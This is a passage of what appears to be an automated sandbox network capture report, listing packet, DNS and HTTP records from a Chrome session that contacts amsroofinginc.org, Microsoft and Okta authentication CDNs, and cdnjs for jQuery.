Oct 24, 2024 11:58:21.988630056 CEST	49762	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.988662958 CEST	443	49762	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:21.988739967 CEST	49762	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.988936901 CEST	49762	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:21.988950968 CEST	443	49762	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:22.602916002 CEST	443	49762	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:22.608145952 CEST	49762	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:22.608167887 CEST	443	49762	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:22.608540058 CEST	443	49762	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:22.608947992 CEST	49762	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:22.609009981 CEST	443	49762	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:22.609366894 CEST	49762	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:22.651331902 CEST	443	49762	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:23.298255920 CEST	443	49762	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:23.298377991 CEST	443	49762	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:23.298466921 CEST	49762	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:23.299082041 CEST	49762	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:58:23.299099922 CEST	443	49762	104.21.68.211	192.168.2.16
Oct 24, 2024 11:58:24.775883913 CEST	49763	443	192.168.2.16	142.250.186.36
Oct 24, 2024 11:58:24.775933981 CEST	443	49763	142.250.186.36	192.168.2.16
Oct 24, 2024 11:58:24.776046038 CEST	49763	443	192.168.2.16	142.250.186.36
Oct 24, 2024 11:58:24.776293039 CEST	49763	443	192.168.2.16	142.250.186.36
Oct 24, 2024 11:58:24.776308060 CEST	443	49763	142.250.186.36	192.168.2.16
Oct 24, 2024 11:58:25.652978897 CEST	443	49763	142.250.186.36	192.168.2.16
Oct 24, 2024 11:58:25.653393030 CEST	49763	443	192.168.2.16	142.250.186.36
Oct 24, 2024 11:58:25.653424978 CEST	443	49763	142.250.186.36	192.168.2.16
Oct 24, 2024 11:58:25.653717041 CEST	443	49763	142.250.186.36	192.168.2.16
Oct 24, 2024 11:58:25.654021025 CEST	49763	443	192.168.2.16	142.250.186.36
Oct 24, 2024 11:58:25.654087067 CEST	443	49763	142.250.186.36	192.168.2.16
Oct 24, 2024 11:58:25.700583935 CEST	49763	443	192.168.2.16	142.250.186.36
Oct 24, 2024 11:58:35.657025099 CEST	443	49763	142.250.186.36	192.168.2.16
Oct 24, 2024 11:58:35.657094002 CEST	443	49763	142.250.186.36	192.168.2.16
Oct 24, 2024 11:58:35.657143116 CEST	49763	443	192.168.2.16	142.250.186.36
Oct 24, 2024 11:58:36.375303984 CEST	49763	443	192.168.2.16	142.250.186.36
Oct 24, 2024 11:58:36.375339985 CEST	443	49763	142.250.186.36	192.168.2.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 11:57:20.114411116 CEST	53	51014	1.1.1.1	192.168.2.16
Oct 24, 2024 11:57:20.141164064 CEST	53	63832	1.1.1.1	192.168.2.16
Oct 24, 2024 11:57:21.387675047 CEST	53	59891	1.1.1.1	192.168.2.16
Oct 24, 2024 11:57:21.472959995 CEST	64855	53	192.168.2.16	1.1.1.1
Oct 24, 2024 11:57:21.473020077 CEST	56981	53	192.168.2.16	1.1.1.1
Oct 24, 2024 11:57:21.483067989 CEST	53	64855	1.1.1.1	192.168.2.16
Oct 24, 2024 11:57:21.484102964 CEST	53	56981	1.1.1.1	192.168.2.16
Oct 24, 2024 11:57:22.838901997 CEST	49928	53	192.168.2.16	1.1.1.1
Oct 24, 2024 11:57:22.840889931 CEST	62286	53	192.168.2.16	1.1.1.1
Oct 24, 2024 11:57:22.846366882 CEST	53	49928	1.1.1.1	192.168.2.16
Oct 24, 2024 11:57:22.848179102 CEST	53	62286	1.1.1.1	192.168.2.16
Oct 24, 2024 11:57:22.857767105 CEST	56375	53	192.168.2.16	1.1.1.1
Oct 24, 2024 11:57:22.858108997 CEST	53376	53	192.168.2.16	1.1.1.1
Oct 24, 2024 11:57:22.874824047 CEST	53	56375	1.1.1.1	192.168.2.16
Oct 24, 2024 11:57:22.877341986 CEST	53	53376	1.1.1.1	192.168.2.16
Oct 24, 2024 11:57:24.710701942 CEST	63162	53	192.168.2.16	1.1.1.1
Oct 24, 2024 11:57:24.710881948 CEST	56712	53	192.168.2.16	1.1.1.1
Oct 24, 2024 11:57:24.718749046 CEST	53	56712	1.1.1.1	192.168.2.16
Oct 24, 2024 11:57:24.718766928 CEST	53	63162	1.1.1.1	192.168.2.16
Oct 24, 2024 11:57:30.102293968 CEST	54800	53	192.168.2.16	1.1.1.1
Oct 24, 2024 11:57:30.102468967 CEST	52666	53	192.168.2.16	1.1.1.1
Oct 24, 2024 11:57:30.117461920 CEST	53	52666	1.1.1.1	192.168.2.16
Oct 24, 2024 11:57:30.130558968 CEST	53	54800	1.1.1.1	192.168.2.16
Oct 24, 2024 11:57:30.197266102 CEST	52849	53	192.168.2.16	1.1.1.1
Oct 24, 2024 11:57:30.197448015 CEST	55526	53	192.168.2.16	1.1.1.1
Oct 24, 2024 11:57:30.199268103 CEST	62766	53	192.168.2.16	1.1.1.1
Oct 24, 2024 11:57:30.199424982 CEST	59108	53	192.168.2.16	1.1.1.1
Oct 24, 2024 11:57:30.203448057 CEST	65128	53	192.168.2.16	1.1.1.1
Oct 24, 2024 11:57:30.203661919 CEST	53517	53	192.168.2.16	1.1.1.1
Oct 24, 2024 11:57:30.207654953 CEST	53	62766	1.1.1.1	192.168.2.16
Oct 24, 2024 11:57:30.207678080 CEST	53	59108	1.1.1.1	192.168.2.16
Oct 24, 2024 11:57:30.208101034 CEST	53	55526	1.1.1.1	192.168.2.16
Oct 24, 2024 11:57:30.208708048 CEST	53	52849	1.1.1.1	192.168.2.16
Oct 24, 2024 11:57:30.211066961 CEST	53	65128	1.1.1.1	192.168.2.16
Oct 24, 2024 11:57:30.211936951 CEST	53	53517	1.1.1.1	192.168.2.16
Oct 24, 2024 11:57:31.204674959 CEST	50141	53	192.168.2.16	1.1.1.1
Oct 24, 2024 11:57:31.204958916 CEST	54343	53	192.168.2.16	1.1.1.1
Oct 24, 2024 11:57:31.211862087 CEST	53	50141	1.1.1.1	192.168.2.16
Oct 24, 2024 11:57:31.213227987 CEST	53	54343	1.1.1.1	192.168.2.16
Oct 24, 2024 11:57:31.310323000 CEST	54253	53	192.168.2.16	1.1.1.1
Oct 24, 2024 11:57:31.310483932 CEST	60966	53	192.168.2.16	1.1.1.1
Oct 24, 2024 11:57:31.321393967 CEST	53	54253	1.1.1.1	192.168.2.16
Oct 24, 2024 11:57:31.338434935 CEST	53	60966	1.1.1.1	192.168.2.16
Oct 24, 2024 11:57:31.480382919 CEST	53687	53	192.168.2.16	1.1.1.1
Oct 24, 2024 11:57:31.480591059 CEST	57450	53	192.168.2.16	1.1.1.1
Oct 24, 2024 11:57:31.487833023 CEST	53	53687	1.1.1.1	192.168.2.16
Oct 24, 2024 11:57:31.487859964 CEST	53	57450	1.1.1.1	192.168.2.16
Oct 24, 2024 11:57:33.599580050 CEST	54754	53	192.168.2.16	1.1.1.1
Oct 24, 2024 11:57:33.599805117 CEST	63352	53	192.168.2.16	1.1.1.1
Oct 24, 2024 11:57:34.984406948 CEST	50975	53	192.168.2.16	1.1.1.1
Oct 24, 2024 11:57:34.984622002 CEST	53037	53	192.168.2.16	1.1.1.1
Oct 24, 2024 11:57:38.404891968 CEST	53	60087	1.1.1.1	192.168.2.16
Oct 24, 2024 11:57:57.294229031 CEST	53	60846	1.1.1.1	192.168.2.16
Oct 24, 2024 11:58:20.135387897 CEST	53	54357	1.1.1.1	192.168.2.16
Oct 24, 2024 11:58:20.335768938 CEST	53	49370	1.1.1.1	192.168.2.16
Oct 24, 2024 11:58:26.248742104 CEST	138	138	192.168.2.16	192.168.2.255
Oct 24, 2024 11:58:49.068891048 CEST	53	55858	1.1.1.1	192.168.2.16

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Oct 24, 2024 11:57:31.338656902 CEST	192.168.2.16	1.1.1.1	c276	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 24, 2024 11:57:21.472959995 CEST	192.168.2.16	1.1.1.1	0xce88	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:21.473020077 CEST	192.168.2.16	1.1.1.1	0xc111	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 24, 2024 11:57:22.838901997 CEST	192.168.2.16	1.1.1.1	0xcaac	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:22.840889931 CEST	192.168.2.16	1.1.1.1	0x810f	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 24, 2024 11:57:22.857767105 CEST	192.168.2.16	1.1.1.1	0x9a5c	Standard query (0)	amsroofinginc.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:22.858108997 CEST	192.168.2.16	1.1.1.1	0x5883	Standard query (0)	amsroofinginc.org	65	IN (0x0001)	false
Oct 24, 2024 11:57:24.710701942 CEST	192.168.2.16	1.1.1.1	0xcf65	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:24.710881948 CEST	192.168.2.16	1.1.1.1	0x7066	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 24, 2024 11:57:30.102293968 CEST	192.168.2.16	1.1.1.1	0xd2c0	Standard query (0)	amsroofinginc.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:30.102468967 CEST	192.168.2.16	1.1.1.1	0xa077	Standard query (0)	amsroofinginc.org	65	IN (0x0001)	false
Oct 24, 2024 11:57:30.197266102 CEST	192.168.2.16	1.1.1.1	0x6021	Standard query (0)	ok4static.oktacdn.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:30.197448015 CEST	192.168.2.16	1.1.1.1	0x8156	Standard query (0)	ok4static.oktacdn.com	65	IN (0x0001)	false
Oct 24, 2024 11:57:30.199268103 CEST	192.168.2.16	1.1.1.1	0xd23	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:30.199424982 CEST	192.168.2.16	1.1.1.1	0x2091	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Oct 24, 2024 11:57:30.203448057 CEST	192.168.2.16	1.1.1.1	0x4642	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:30.203661919 CEST	192.168.2.16	1.1.1.1	0x8ce	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Oct 24, 2024 11:57:31.204674959 CEST	192.168.2.16	1.1.1.1	0x9a9e	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:31.204958916 CEST	192.168.2.16	1.1.1.1	0x9c7c	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Oct 24, 2024 11:57:31.310323000 CEST	192.168.2.16	1.1.1.1	0x42bd	Standard query (0)	ok4static.oktacdn.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:31.310483932 CEST	192.168.2.16	1.1.1.1	0x2490	Standard query (0)	ok4static.oktacdn.com	65	IN (0x0001)	false
Oct 24, 2024 11:57:31.480382919 CEST	192.168.2.16	1.1.1.1	0xe65b	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:31.480591059 CEST	192.168.2.16	1.1.1.1	0x44f0	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Oct 24, 2024 11:57:33.599580050 CEST	192.168.2.16	1.1.1.1	0x8b9b	Standard query (0)	aadcdn.msauthimages.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:33.599805117 CEST	192.168.2.16	1.1.1.1	0x473b	Standard query (0)	aadcdn.msauthimages.net	65	IN (0x0001)	false
Oct 24, 2024 11:57:34.984406948 CEST	192.168.2.16	1.1.1.1	0xba9d	Standard query (0)	aadcdn.msauthimages.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:34.984622002 CEST	192.168.2.16	1.1.1.1	0xfb6	Standard query (0)	aadcdn.msauthimages.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 24, 2024 11:57:21.483067989 CEST	1.1.1.1	192.168.2.16	0xce88	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:21.483067989 CEST	1.1.1.1	192.168.2.16	0xce88	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:21.484102964 CEST	1.1.1.1	192.168.2.16	0xc111	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 24, 2024 11:57:22.846366882 CEST	1.1.1.1	192.168.2.16	0xcaac	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:22.846366882 CEST	1.1.1.1	192.168.2.16	0xcaac	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:22.848179102 CEST	1.1.1.1	192.168.2.16	0x810f	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 24, 2024 11:57:22.874824047 CEST	1.1.1.1	192.168.2.16	0x9a5c	No error (0)	amsroofinginc.org		104.21.68.211	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:22.874824047 CEST	1.1.1.1	192.168.2.16	0x9a5c	No error (0)	amsroofinginc.org		172.67.198.169	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:22.877341986 CEST	1.1.1.1	192.168.2.16	0x5883	No error (0)	amsroofinginc.org			65	IN (0x0001)	false
Oct 24, 2024 11:57:24.718749046 CEST	1.1.1.1	192.168.2.16	0x7066	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 24, 2024 11:57:24.718766928 CEST	1.1.1.1	192.168.2.16	0xcf65	No error (0)	www.google.com		142.250.186.36	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:30.117461920 CEST	1.1.1.1	192.168.2.16	0xa077	No error (0)	amsroofinginc.org			65	IN (0x0001)	false
Oct 24, 2024 11:57:30.130558968 CEST	1.1.1.1	192.168.2.16	0xd2c0	No error (0)	amsroofinginc.org		104.21.68.211	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:30.130558968 CEST	1.1.1.1	192.168.2.16	0xd2c0	No error (0)	amsroofinginc.org		172.67.198.169	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:30.207654953 CEST	1.1.1.1	192.168.2.16	0xd23	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:57:30.207654953 CEST	1.1.1.1	192.168.2.16	0xd23	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:30.207654953 CEST	1.1.1.1	192.168.2.16	0xd23	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:30.207654953 CEST	1.1.1.1	192.168.2.16	0xd23	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:30.207654953 CEST	1.1.1.1	192.168.2.16	0xd23	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:30.207678080 CEST	1.1.1.1	192.168.2.16	0x2091	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:57:30.208101034 CEST	1.1.1.1	192.168.2.16	0x8156	No error (0)	ok4static.oktacdn.com	d19d360lklgih4.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:57:30.208708048 CEST	1.1.1.1	192.168.2.16	0x6021	No error (0)	ok4static.oktacdn.com	d19d360lklgih4.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:57:30.208708048 CEST	1.1.1.1	192.168.2.16	0x6021	No error (0)	d19d360lklgih4.cloudfront.net		13.33.187.14	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:30.208708048 CEST	1.1.1.1	192.168.2.16	0x6021	No error (0)	d19d360lklgih4.cloudfront.net		13.33.187.96	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:30.208708048 CEST	1.1.1.1	192.168.2.16	0x6021	No error (0)	d19d360lklgih4.cloudfront.net		13.33.187.68	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:30.208708048 CEST	1.1.1.1	192.168.2.16	0x6021	No error (0)	d19d360lklgih4.cloudfront.net		13.33.187.120	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:30.211066961 CEST	1.1.1.1	192.168.2.16	0x4642	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:57:30.211066961 CEST	1.1.1.1	192.168.2.16	0x4642	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:57:30.211066961 CEST	1.1.1.1	192.168.2.16	0x4642	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:30.211920023 CEST	1.1.1.1	192.168.2.16	0xa6b4	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:57:30.211920023 CEST	1.1.1.1	192.168.2.16	0xa6b4	No error (0)	dual.s-part-0017.t-0009.fb-t-msedge.net	s-part-0017.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:57:30.211920023 CEST	1.1.1.1	192.168.2.16	0xa6b4	No error (0)	s-part-0017.t-0009.fb-t-msedge.net		13.107.253.45	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:30.211936951 CEST	1.1.1.1	192.168.2.16	0x8ce	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:57:30.211936951 CEST	1.1.1.1	192.168.2.16	0x8ce	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:57:31.137778997 CEST	1.1.1.1	192.168.2.16	0x2bf8	No error (0)	shed.dual-low.s-part-0039.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:57:31.137778997 CEST	1.1.1.1	192.168.2.16	0x2bf8	No error (0)	dual.s-part-0039.t-0009.fb-t-msedge.net	s-part-0039.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:57:31.137778997 CEST	1.1.1.1	192.168.2.16	0x2bf8	No error (0)	s-part-0039.t-0009.fb-t-msedge.net		13.107.253.67	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:31.211862087 CEST	1.1.1.1	192.168.2.16	0x9a9e	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:57:31.211862087 CEST	1.1.1.1	192.168.2.16	0x9a9e	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:31.211862087 CEST	1.1.1.1	192.168.2.16	0x9a9e	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:31.211862087 CEST	1.1.1.1	192.168.2.16	0x9a9e	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:31.211862087 CEST	1.1.1.1	192.168.2.16	0x9a9e	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:31.213227987 CEST	1.1.1.1	192.168.2.16	0x9c7c	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:57:31.321393967 CEST	1.1.1.1	192.168.2.16	0x42bd	No error (0)	ok4static.oktacdn.com	d19d360lklgih4.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:57:31.321393967 CEST	1.1.1.1	192.168.2.16	0x42bd	No error (0)	d19d360lklgih4.cloudfront.net		13.33.187.120	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:31.321393967 CEST	1.1.1.1	192.168.2.16	0x42bd	No error (0)	d19d360lklgih4.cloudfront.net		13.33.187.96	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:31.321393967 CEST	1.1.1.1	192.168.2.16	0x42bd	No error (0)	d19d360lklgih4.cloudfront.net		13.33.187.68	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:31.321393967 CEST	1.1.1.1	192.168.2.16	0x42bd	No error (0)	d19d360lklgih4.cloudfront.net		13.33.187.14	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:31.338434935 CEST	1.1.1.1	192.168.2.16	0x2490	No error (0)	ok4static.oktacdn.com	d19d360lklgih4.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:57:31.487833023 CEST	1.1.1.1	192.168.2.16	0xe65b	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:57:31.487833023 CEST	1.1.1.1	192.168.2.16	0xe65b	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:57:31.487833023 CEST	1.1.1.1	192.168.2.16	0xe65b	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:31.487859964 CEST	1.1.1.1	192.168.2.16	0x44f0	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:57:31.487859964 CEST	1.1.1.1	192.168.2.16	0x44f0	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:57:33.607671022 CEST	1.1.1.1	192.168.2.16	0x473b	No error (0)	aadcdn.msauthimages.net	aadcdn.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:57:33.607671022 CEST	1.1.1.1	192.168.2.16	0x473b	No error (0)	scdn3514c.wpc.9e730.upsiloncdn.net	sni1gl.wpc.upsiloncdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:57:33.610492945 CEST	1.1.1.1	192.168.2.16	0x8b9b	No error (0)	aadcdn.msauthimages.net	aadcdn.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:57:33.610492945 CEST	1.1.1.1	192.168.2.16	0x8b9b	No error (0)	scdn3514c.wpc.9e730.upsiloncdn.net	sni1gl.wpc.upsiloncdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:57:33.610492945 CEST	1.1.1.1	192.168.2.16	0x8b9b	No error (0)	sni1gl.wpc.upsiloncdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:34.992383003 CEST	1.1.1.1	192.168.2.16	0xba9d	No error (0)	aadcdn.msauthimages.net	aadcdn.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:57:34.992383003 CEST	1.1.1.1	192.168.2.16	0xba9d	No error (0)	scdn3514c.wpc.9e730.upsiloncdn.net	sni1gl.wpc.upsiloncdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:57:34.992383003 CEST	1.1.1.1	192.168.2.16	0xba9d	No error (0)	sni1gl.wpc.upsiloncdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:57:34.992829084 CEST	1.1.1.1	192.168.2.16	0xfb6	No error (0)	aadcdn.msauthimages.net	aadcdn.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:57:34.992829084 CEST	1.1.1.1	192.168.2.16	0xfb6	No error (0)	scdn3514c.wpc.9e730.upsiloncdn.net	sni1gl.wpc.upsiloncdn.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

cdnjs.cloudflare.com

amsroofinginc.org

cdn.jsdelivr.net

aadcdn.msauth.net

ok4static.oktacdn.com

aadcdn.msftauth.net

fs.microsoft.com

slscr.update.microsoft.com

aadcdn.msauthimages.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49702	104.17.24.14	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:22 UTC	608	OUT	GET /ajax/libs/jquery/3.6.1/jquery.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 09:57:22 UTC	957	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:57:22 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"63091225-797c" Last-Modified: Fri, 26 Aug 2022 18:34:13 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 59922 Expires: Tue, 14 Oct 2025 09:57:22 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6zHuTfd09rdVzmBsxC7pcs36cmCGsMkxLuwrwO9sSUEhZrS05URIA9jZkIPkpm3XIe31rnG4O6QvZKHJl9Mz7HboxMhD4RaAVxqrao4WxCg%2FTfx0bs5en%2B3Q9rc3%2FZc6soVqlzQe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8d791a2d9bae6c28-DFW alt-svc: h3=":443"; ma=86400
2024-10-24 09:57:22 UTC	412	IN	Data Raw: 37 62 66 33 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 31 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f Data Ascii: 7bf3/! jQuery v3.6.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Erro
